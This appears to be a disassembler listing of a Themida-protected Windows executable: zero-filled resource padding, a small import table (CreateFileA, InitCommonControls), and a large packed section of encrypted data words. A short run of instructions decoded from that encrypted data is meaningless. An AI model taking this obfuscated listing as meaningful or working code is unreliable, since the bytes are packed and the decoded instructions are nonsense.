		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
dword_512000	dd 0A51F58h, 7C81CDDAh,	0aE		db 'Ïe',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 000F4000 ( 999424.)
; Section size in file		: 000F4000 ( 999424.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 513000h
		dd 0AE95652Ah, 48425h, 5EAE6h, 158172h,	0
		dd 0B8h, 0C00B6000h, 0E86874h, 58000000h, 5305h, 0E9388000h
		dd 0EB611375h, 372DDB45h, 0FF005130h, 0FFFFFFFFh, 3DFFFFFFh
		dd 0E840h, 25580000h, 0FFFFF000h, 0BB66FF33h, 83665A19h
		dd 396634C3h, 0F127518h, 33C50B7h, 44E9BBD0h, 0C3830000h
		dd 741A3967h, 10002D07h, 0DAEB0000h, 0EAE9F88Bh, 3000001h
		dd 326AB9C7h, 0CF030011h, 2FB80AEBh, 0B900579Ah, 51326Ah
		dd 84E85150h, 0E8000000h, 0
		dd 262D58h, 0EFB90000h,	0C6000001h, 0E983E900h,	1488905h
		dd 1AFE961h, 93280000h,	788AE4C9h, 815EBCh, 63432DA8h
		dd 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh,	93264C98h
		dd 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h,	0DCBA75EBh
		dd 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h, 1799B7DEh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh
		dd 93264C98h, 60F2E4C8h, 2424748Bh, 28247C8Bh, 8A80B2FCh
		dd 7884606h, 2BB47h, 0D2020000h, 168A0575h, 73D21246h
		dd 75D202EAh, 46168A05h, 4F73D212h, 0D202C033h,	168A0575h
		dd 0FD21246h, 0DF83h, 75D20200h, 46168A05h, 0C013D212h
		dd 575D202h, 1246168Ah,	2C013D2h, 8A0575D2h, 0D2124616h
		dd 0D202C013h, 168A0575h, 13D21246h, 570674C0h,	78AF82Bh
		dd 4707885Fh, 2BBh, 0B89BEB00h,	1, 575D202h, 1246168Ah
		dd 2C013D2h, 8A0575D2h,	0D2124616h, 0C32BEA72h,	1BBh, 0B9287500h
		dd 1, 575D202h,	1246168Ah, 2C913D2h, 8A0575D2h,	0D2124616h
		dd 8B56EA72h, 0F3F52BF7h, 4FE95EA4h, 48FFFFFFh,	8A08E0C1h
		dd 0E88B4606h, 1B9h, 75D20200h,	46168A05h, 0C913D212h
		dd 575D202h, 1246168Ah,	3DEA72D2h, 7D00h, 3D1A73h, 72000005h
		dd 8B56410Eh, 0F3F02BF7h, 0FE95EA4h, 83FFFFFFh,	3777FF8h
		dd 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEFAh, 3346068Ah
		dd 1E8C0C9h, 0D1831774h, 56E88B02h, 0F02BF78Bh,	0BB5EA4F3h
		dd 1, 0FFFED9E9h, 247C2BFFh, 247C8928h,	8C2611Ch, 67C5E900h
		dd 38E90006h, 1523518h,	3B22F2FAh, 0CEBB3B84h, 0BEEB1001h
		dd 1EE13522h, 8401F3AFh, 78B8FF2Ah, 0FE1FE1h, 6D656854h
		dd 0E1616469h, 0DE96FA1Ah, 7024F31Ch, 0E4D78D03h, 77215C71h
		dd 6552035Eh, 72617473h, 0C5704199h, 0F378E92Eh, 11AC6F84h
		dd 0EB3B848Bh, 42B821C8h, 9822EFEAh, 0F2AA1AE1h, 0AB112E36h
		dd 0ACCB5FAFh, 0A533FCEBh, 0D788AE01h, 4D009D5h, 0D1F524CFh
		dd 9D03A592h, 8B8EFF10h, 60D442C5h, 815D10E8h, 3527ED00h
		dd 95890615h, 0D2D6185h, 172AA5B5h, 27E5B2h, 7A9BD83h
		dd 0C748083h, 29E8728Bh, 1EF1B8E2h, 4470F1C2h, 3E10C724h
		dd 6A062559h, 29A3E845h, 749A6807h, 0DFA50783h,	4B250A01h
		dd 0D5E90A89h, 214E910h, 7DECA5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003615h
		fcmovb	st, st(7)
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne cmp dword	ptr [edi+49h], 10h
		inc	dword ptr [esi-1E14BCEEh]
		db	36h
		aaa
		fsub	qword ptr [ecx+26h]
		inc	ecx
		leave
		retn	4004h
; ---------------------------------------------------------------------------
		db 46h
		dd 687CC481h, 0E44902FFh, 458D405Eh, 145D8B80h,	1985C708h
		dd 0A08D5044h, 0AC3D10Ah, 89411888h, 0BD818A0Bh, 295D2006h
		dd 4227E375h, 648EBA8Dh, 8A8075C0h, 0F449BB0Eh,	0ABB8005Bh
		dd 0D3785437h, 0C30FFCD0h, 0F7754B08h, 47C3AFB0h, 464A4652h
		dd 42F92A46h, 8A61D12Bh, 0F075D0A0h, 45EE8AFDh,	0EB0A4DFCh
		dd 8C3CAD04h, 403E8046h, 84BA53F7h, 7D61346Eh, 907FEB0Ch
		dd 6DCCF83Eh, 0CA84F012h, 8110F40Eh, 0F065C14Ah, 0F8D64004h
		dd 339E0D1h, 332860C2h,	1C1C8ADBh, 0CCFB8030h, 390A0A72h
		dd 3E05773Dh, 2267F2EBh, 0DF66114h, 6F667F0Ah, 4E5F1E08h
		dd 10AC0AC3h, 7230411Ah, 77460A0Bh, 0A224DE06h,	0F05D0118h
		dd 7383F4ECh, 72021B7Dh, 0C0370CB0h, 0AA66A576h, 0CEF84126h
		dd 0A86A8D07h, 0FC553B00h, 0A978820Fh, 0AAC1B0BDh, 0BA5038BEh
		dd 0E0B9E008h, 0BDFCA870h, 0FE3740A4h, 49470F01h, 22B9FA75h
		dd 0BBDC6AC5h, 12310701h, 6DEB82F1h, 868ED802h,	16399F03h
		dd 83655107h, 0CE5DF436h, 3EF1268Ah, 5944E9h, 0F3F2B6BCh
		dd 0DA8C675Dh, 10C32C06h, 6230689h, 0EBFB87BCh,	0F1674008h
		dd 58E16BA2h, 258704E9h, 20C46021h, 5257D8Ah, 8458233h
		dd 4821001Eh, 5CF6C458h, 2B00887Dh, 0C0F8FB30h,	0EB8101Ah
		dd 34CB8CDFh, 39826700h, 76305B4Eh, 3D511C0Fh, 76D17C04h
		dd 4E46613Bh, 0D52E0975h, 0EC5D8211h, 8F9065E4h, 0C584A059h
		dd 54968E05h, 8F5388B2h, 29C2040Ah, 0C4718C8Ch,	0F00EDBE7h
		dd 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h,	3FBC9020h
		dd 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh,	45CF4090h
		dd 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h, 845AABCDh
		dd 0A6561308h, 825E0AEEh, 0A881BDEEh, 8A7B440Fh, 13A2B9FAh
		dd 29972305h, 57F60243h, 0E4C45F30h, 2275468Ah,	57470416h
		dd 800323C4h, 0D881DF28h, 8D066D76h, 0BE951DAh,	476C0E29h
		dd 0AB4079F9h, 2337A00Ah, 1F0DEA31h, 0EDECDA6Eh, 261D0007h
		dd 0BD083D75h, 81E25C9Ch, 0B805E228h, 0DF51CC00h, 8610CA0Bh
		dd 873DDD35h, 93C8DAC0h, 0F0352EB6h, 5C3A1B02h,	9D001723h
		dd 0EAF921B7h, 8119C210h, 3193E1DCh, 8AF259E4h,	1D17EBF3h
		dd 0CA8BC18h, 1216507Fh, 60E92940h, 82D2310Ch, 2600462Ch
		dd 0F1A51844h, 3961A686h, 8C85CFB8h, 0E9010F3h,	5B20622Fh
		dd 0E1F1F782h, 0C21DC3Bh, 1E6CFEC3h, 1BCE3169h,	8013EA0Ah
		dd 0B7FFF733h, 73EBD783h, 3E1F00DFh, 31732338h,	7024E37h
		dd 0E96159D4h, 7FDD200Dh, 0ED03228Fh, 962D21DFh, 0E7EA9720h
		dd 85FD10Ch, 506277C2h,	48DFC20Bh, 0F2034F7Fh, 649395B8h
		dd 0EE69BFD8h, 5B0EAFCh, 6288A24h, 0DBC28EBCh, 8974FB4Eh
		dd 77800EEAh, 0D0E59C8Fh, 0C1016817h, 14F9F8DEh, 6A9C50C6h
		dd 6752C0DAh, 90FB81BCh, 4284032Ch, 0E1576118h,	0C5F0011Ah
		dd 0E94B6225h, 8F271010h, 0AB940E9Ah, 0E2A05D93h, 8EEF3B9h
		dd 0C0E74800h, 71887626h, 2149485Ch, 9641932Ch,	0B02C008Ch
		dd 3108ADB2h, 806EB139h, 35E0BC03h, 94EA0EAh, 0A11DBF88h
		dd 8C965B00h, 90073A7h,	14369DDCh, 1D99132Dh, 0F058F738h
		dd 0E3858748h, 0A10EB001h, 0B3808B50h, 62EEF0h,	19812803h
		dd 85BEEACAh, 7679B960h, 0ACDA71h, 0DBED3702h, 3080883Dh
		dd 1E2180FDh, 3FB8CD6Ah, 0EFD6009Ah, 0B1AC395Dh, 2000104Eh
		dd 0A637DDA1h, 0E9E48h,	823DBF30h, 10311612h, 73773479h
		dd 0FDF3Bh, 3E51E79Dh, 3A27DC0h, 89066777h, 2D3A1BAh, 0A8ADA800h
		dd 0C0467527h, 0DF35041Dh, 0BC9C04h, 779F6DB3h,	32690129h
		dd 38A1BD2Eh, 8839817Ch, 63DC477Bh, 15E6118Ch, 86009B3Ah
		dd 9FEDAC46h, 9136F2h, 0C70C0E09h, 2F223967h, 0ADB10F00h
		dd 46056319h, 15E700DCh, 0F889255Ch, 0ABF029AFh, 13621401h
		dd 5A61E5A2h, 0B356C0D3h, 54840648h, 21072242h,	41F03F3Fh
		dd 501F80E0h, 0E97B1C0Dh, 3C172800h, 0F998C700h, 3B01792Eh
		dd 0F08200DEh, 7B39AABDh, 2203E7B3h, 15621E56h,	1884FBC4h
		dd 5103CF81h, 4C0088E9h, 11817F12h, 38B1A25h, 129565Fh
		dd 169D2842h, 919E1848h, 0EA0015C8h, 66A8751Ah,	1E25C188h
		dd 4C0DCAh, 86402E0Bh, 8930F885h, 0B78388B4h, 0B9616790h
		dd 6AEB10C2h, 860160FCh, 3B213574h, 50801B1Ah, 79DDE672h
		dd 45018039h, 6C258447h, 898008CCh, 0A19283CFh,	963B5968h
		dd 7E2192C1h, 7805110h,	0FDE66DDFh, 457106A0h, 42D700ADh
		dd 0D4D2E80h, 823035C8h, 0FC54A87Ch, 3D3930D5h,	138A2F28h
		dd 6BB5715h, 0A26707C8h, 0E440410Eh, 0E2C43231h, 0DB72D9h
		dd 6D9B9279h, 0E5343CDh, 5C1C99C2h, 7490A341h, 0C2FD8F2h
		dd 387902CCh, 0D588FE8Ah, 6A8E21C0h, 1608CB00h,	0FBE9E074h
		dd 785300C4h, 0A306EE6Eh, 94A87EE5h, 39901925h,	805D453Bh
		dd 619ABCB8h, 3C351802h, 0C93873E1h, 0B8DE1094h, 397DE518h
		dd 0B0006F8h, 6B0E761Ah, 28DDE88Eh, 71A82AF9h, 0C87208DEh
		dd 0CF0614B6h, 38653Ah,	0F53493D3h, 5C452B95h, 4032700h
		dd 7E9F3BB2h, 6E383A87h, 98308C9Fh, 510EE94Dh, 0F843D800h
		dd 0D175BAABh, 297D005Bh, 6CA4301Fh, 3F482C42h,	807C885Ch
		dd 827ACEDDh, 0DF027ED7h, 1DCD2F25h, 520489Eh, 0B6B12491h
		dd 48A4011Ch, 0CB79A906h, 3DC8100Ah, 6D94E026h,	30907548h
		dd 97DBF21h, 98132B43h,	0E53491FCh, 58218071h, 0E8746CB4h
		dd 0CEF71869h, 0E2C5D0F6h, 5025DA00h, 0B026AF3Ch, 30110486h
		dd 802304D2h, 29A4510Ch, 42C3B219h, 80876F10h, 0C1B4C52Ch
		dd 8544C4D2h, 0A8C17318h, 0CF47B041h, 0BB304360h, 84A748C4h
		dd 545D4440h, 36A442h, 0E7F65FFh, 0B34E0FD0h, 2C998217h
		dd 0C38F1500h, 0C03ECCECh, 0FFE068D1h, 9FF41204h, 53FB302h
		dd 0E0573CBEh, 0A0538EBFh, 91D221F4h, 6C0F3E68h, 4046C7B7h
		dd 0A20F99BEh, 0C047A081h, 0C5127B3Ah, 5F880077h, 0CB1D2966h
		dd 0E77BF053h, 9002E524h, 0D1CD2600h, 0E8079C60h, 5B7F0088h
		dd 1255AEA5h, 0D90027C3h, 0EF2E697Bh, 9E642h, 371ED496h
		dd 0C2A45B33h, 4783ED00h, 7DD7F6C1h, 0E8F40165h, 0A0FF09DBh
		dd 4D98E07Ch, 24663501h, 0DE903C1Ch, 0E7E0F4h, 0F1ECC96h
		dd 0EBC09A72h, 0B41CF100h, 0A5CAE2C7h, 9C9844h,	0C483B2A4h
		dd 8C8043D1h, 0DD60BB05h, 0D4453886h, 0B44C625Dh, 24A030BDh
		dd 72889B1h, 488A1B5Eh,	0AAC47285h, 1D42904Fh, 0F61B2FC7h
		dd 1F207576h, 0CF7C7C5h, 751475Ch, 0B724570Fh, 6A0EE06Bh
		dd 181868E4h, 49B4FCD5h, 2600E935h, 0BEEE9407h,	3C7EA31h
		dd 23246E2Eh, 73C06B8Ch, 8AF479C4h, 0C5C958A3h,	2F4183A6h
		dd 43B7BBAh, 0CC34B518h, 32A20005h, 0F6F0DCh, 63852D04h
		dd 9239E10Ch, 1DECD8C4h, 0E05D8088h, 18AC61DDh,	0D287B7F5h
		dd 0D47D1401h, 182028EDh, 0A472F248h, 0E8DA103Ch, 34A5004Dh
		dd 0CDFC74A1h, 30236CD5h, 40408420h, 2B5F34C5h,	74A4018Ah
		dd 11ACC672h, 96CCD348h, 62D8E289h, 0C9F6317Eh,	140040C4h
		dd 0B347E7B5h, 3089179h, 0B7A44953h, 21026483h,	3094C651h
		dd 32006001h, 34755815h, 88F93FC5h, 1B19304Ch, 8588791Eh
		dd 16057824h, 418CBDA9h, 0CFB1A188h, 0D0888B48h, 8B4401C7h
		dd 0B1A8A5E1h, 2B6E007Ch, 439934E4h, 909A3625h,	4F633F7Ah
		dd 0ADE869h, 0AA9BF131h, 0F40C3C3Eh, 0A01C7700h, 0BEE15835h
		dd 2C01061Fh
		dd 705F48D2h, 0DAF020F6h, 102FD434h, 0E245481h,	405D1511h
		dd 3866F364h, 0FD01B47Fh, 0BAEC4481h, 0E5DCFCD6h, 7CC0A02Dh
		dd 0D0B54C6Eh, 5F958B17h, 31CDC614h, 42012022h,	39EE528Eh
		dd 35C4C7B1h, 7465499Ah, 88F11C40h, 79C05C5Dh, 96EBAFC8h
		dd 0FDF7026Bh, 0D22D972h, 0B8200844h, 40B26245h, 429D18Ah
		dd 0CF4BD378h, 17C86090h, 6BDAF400h, 4EC1EA3h, 0A7BF37FDh
		dd 0C926D028h, 0B891E805h, 24581600h, 0FE97F7A0h, 2E1B2A21h
		dd 225C92F4h, 850A0DDEh, 0E8874198h, 7254205h, 97900C5Fh
		dd 59A1AB18h, 794986ADh, 4AC5624h, 60C8D997h, 0ADCDF901h
		dd 826C249Ah, 705A1820h, 0B8E0A063h, 33B08142h,	22684C88h
		dd 0DC6B0070h, 79A8BEB2h, 0DB37B1A4h, 0AC6A3046h, 0C5FC1901h
		dd 608225BDh, 4AEE4072h, 8083B8A7h, 97433F7Dh, 8CACDFAh
		dd 0B28B0844h, 40430580h, 4E90C01Dh, 0BDD5FD06h, 0DB04504Ah
		dd 6424E882h, 5348E4C0h, 0F40851EEh, 401AF020h,	1B182867h
		dd 3F180E56h, 814E60E1h, 648A29B3h, 0F8905092h,	0BC2F212Eh
		dd 0B9F08280h, 0D65742Eh, 0F561DC8h, 43B5CC40h,	0C07C2D5Ch
		dd 88B7B4C3h, 0FC88A96Fh, 7382CE20h, 12F892B0h,	839A3DC1h
		dd 0D9C0CB18h, 0E2092AF0h, 90E66CEEh, 3DFA0148h, 0D6939775h
		dd 7DD40D41h, 0CE8088D9h, 78831461h, 7DEE1B82h,	2665DC03h
		dd 10541D49h, 0F6291E21h, 0D931C54Ch, 290360CFh, 0E8CE9674h
		dd 0B4D01F0Fh, 6AD6A046h, 6958818Ch, 4901B925h,	50485C26h
		dd 9F8B998h, 3C7BF100h,	12884903h, 0E856120Bh, 0BA94202Ch
		dd 14804093h, 3DCC2A1Ah, 0B8D4F994h, 0C58B00B0h, 8D29F8DAh
		dd 110BF60Fh, 46F4BF3h,	0FC0D240h, 2E332D24h, 2C4C43Ch
		dd 89C2E032h, 584CE886h, 8C08FC1Eh, 1022384Ch, 0EF0E156Ah
		dd 0A981EC04h, 84B3881h, 5A604475h, 0F75C2F01h,	0D49371B5h
		dd 7B229423h, 65DD1509h, 0E0740003h, 0C05A5CC3h, 703E5259h
		dd 3A09EAE7h, 91DE72E3h, 4C62CF84h, 0A80A1E05h,	0DCE7C088h
		dd 0B45C02AFh, 629A01C8h, 67E2A212h, 604E6980h,	0CC70E018h
		dd 80219E3Ch, 6983477Ch, 0A482B7B3h, 6EC480E8h,	808C94E6h
		dd 99FAF55Ch, 58005696h, 0E962AEACh, 3FEBD7h, 6B2A9CD3h
		dd 43C54688h, 99072E30h, 2639428Dh, 0AD0FCFh, 0C877F328h
		dd 64E3122Dh, 4728C4F0h, 5920A4F9h, 0AFE830DDh,	2B09ABE1h
		dd 0E6589201h, 0E2F21769h, 4119848h, 844CA9BDh,	5670C2E4h
		dd 0DDFC3048h, 0BC310528h, 2BB98113h, 8FC52449h, 0E5E1A19Ch
		dd 498F39B4h, 0A0ABE815h, 0D044E0A9h, 85DA8D00h, 208BE119h
		dd 16F502FBh, 689225C1h, 0F10D7C40h, 48BA6533h,	0F622E3C4h
		dd 0E67400D0h, 4A8E4519h, 5CB8AC37h, 84444h, 313517EAh
		dd 0B4D3ED75h, 0CD3CEF09h, 90088295h, 88470571h, 4A71378h
		dd 10DC408h, 9F348A53h,	205031B5h, 44942C78h, 909AF48Fh
		dd 6C26421Eh, 0F0C685ECh, 0F04CD705h, 7FCB7350h, 618E2E00h
		dd 0A937FD3Fh, 0D6A7099Ch, 0D4A876F0h, 0FDDD6290h, 4B25AC60h
		dd 3086E880h, 402841B0h, 4600147Ch, 5921D2F5h, 2E0FE01h
		dd 18131B55h, 90680B86h, 99622CF0h, 61F71280h, 8828C178h
		dd 0ECAB610Eh, 43307474h, 6CC73208h, 0C65C297Fh, 7CA68030h
		dd 0C635C5E6h, 0E120AB89h, 5918CD77h, 4CD08672h, 0CC63180Dh
		dd 8A2F2929h, 0E78CE854h, 681F0C32h, 7D0F0E12h,	0EBC698F8h
		dd 0E82A08A4h, 0AC85B830h, 0C8202B13h, 12C7CACBh, 12FBE1Dh
		dd 0C5EEA304h, 0A679802Dh, 1DDFAE6Fh, 202E69BAh, 0A1DC8C82h
		dd 0EE6DE120h, 8318A8ADh, 8CCD54F8h, 114331DEh,	653271h
		dd 48D6D36Ch, 60007FFAh, 25BBBA86h, 650E6352h, 0C0F9612h
		dd 178041C5h, 471BE2E6h, 485F5A1Ch, 839734ACh, 8F01FF0Fh
		dd 0A0FD0029h, 0FACA108Ch, 1E0F06A7h, 0D98A3813h, 4C888B28h
		dd 0A5CF5F15h, 309A48A0h, 53B3D1A4h, 3F010999h,	90E09129h
		dd 0C201E5DBh, 5BFD46A6h, 5C62D465h, 0B2096405h, 0FCEC8889h
		dd 3B687601h, 0EB2143BFh, 4A0B6193h, 9EB80A68h,	0B2854482h
		dd 4A88C2FAh, 5891D0A6h, 2312288Dh, 280A144Ah, 0F1D37E70h
